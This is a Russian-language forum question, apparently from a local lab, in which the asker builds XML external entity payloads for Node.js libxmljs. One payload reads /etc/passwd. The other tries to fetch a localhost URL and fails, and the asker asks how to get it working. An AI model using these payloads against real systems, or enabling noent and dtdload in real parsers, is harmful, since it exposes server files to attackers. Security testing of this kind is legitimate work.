Внешний субъект XML с Nodejs - PullRequest
0 голосов
/ 01 апреля 2020


Я использую lib xmljs для анализа xml и пытаюсь загрузить внешнюю сущность.

var libxml = require("libxmljs");
var xml =  '<?xml version="1.0" encoding="UTF-8"?>' +
            '<!DOCTYPE root [ <!ENTITY bar SYSTEM "file:///etc/passwd"> ]>' +
           '<root>' +
               '<child foo="bar">' +
                   '<grandchild baz="fizbuzz">&bar;</grandchild>' +
               '</child>' +
               '<sibling>with content!</sibling>' +
               '<thai>&bar;</thai>'+
           '</root>';
var options = {
    noent: true,
    dtdload: true
}

var xmlDoc = libxml.parseXml(xml, options);
console.log(xmlDoc);

var gchild = xmlDoc.get('//grandchild');
С помощью приведенного выше кода я могу легко получить содержимое файлов / etc / passwd.

Но когда я изменю его на следующее:

var libxml = require("libxmljs");
var xml =  '<?xml version="1.0" encoding="UTF-8"?>' +
            '<!DOCTYPE root [ <!ENTITY bar SYSTEM "http://localhost/password_BurpSuit.txt"> ]>' +
           '<root>' +
               '<child foo="bar">' +
                   '<grandchild baz="fizbuzz">&bar;</grandchild>' +
               '</child>' +
               '<sibling>with content!</sibling>' +
               '<thai>&bar;</thai>'+
           '</root>';
var options = {
    noent: true,
    dtdload: true
}
var xmlDoc = libxml.parseXml(xml, options);
console.log(xmlDoc);

var gchild = xmlDoc.get('//grandchild');
Я не могу загрузить содержимое http://localhost/password_BurpSuit.txt, но также получаю ошибку:

/root/XXE/node_modules/libxmljs/lib/document.js:168
    return bindings.fromXml(string, options || {});
                    ^

Error: Entity 'bar' not defined

    at Object.module.exports.fromXml (/root/XXE/node_modules/libxmljs/lib/document.js:168:21)
    at Object.<anonymous> (/root/XXE/app.js:16:21)
    at Module._compile (internal/modules/cjs/loader.js:778:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10)
    at Module.load (internal/modules/cjs/loader.js:653:32)
    at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
    at Function.Module._load (internal/modules/cjs/loader.js:585:3)
    at Function.Module.runMain (internal/modules/cjs/loader.js:831:12)
    at startup (internal/bootstrap/node.js:283:19)
    at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)

Пожалуйста, дайте мне несколько советов по его исправлению Большое спасибо !!

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...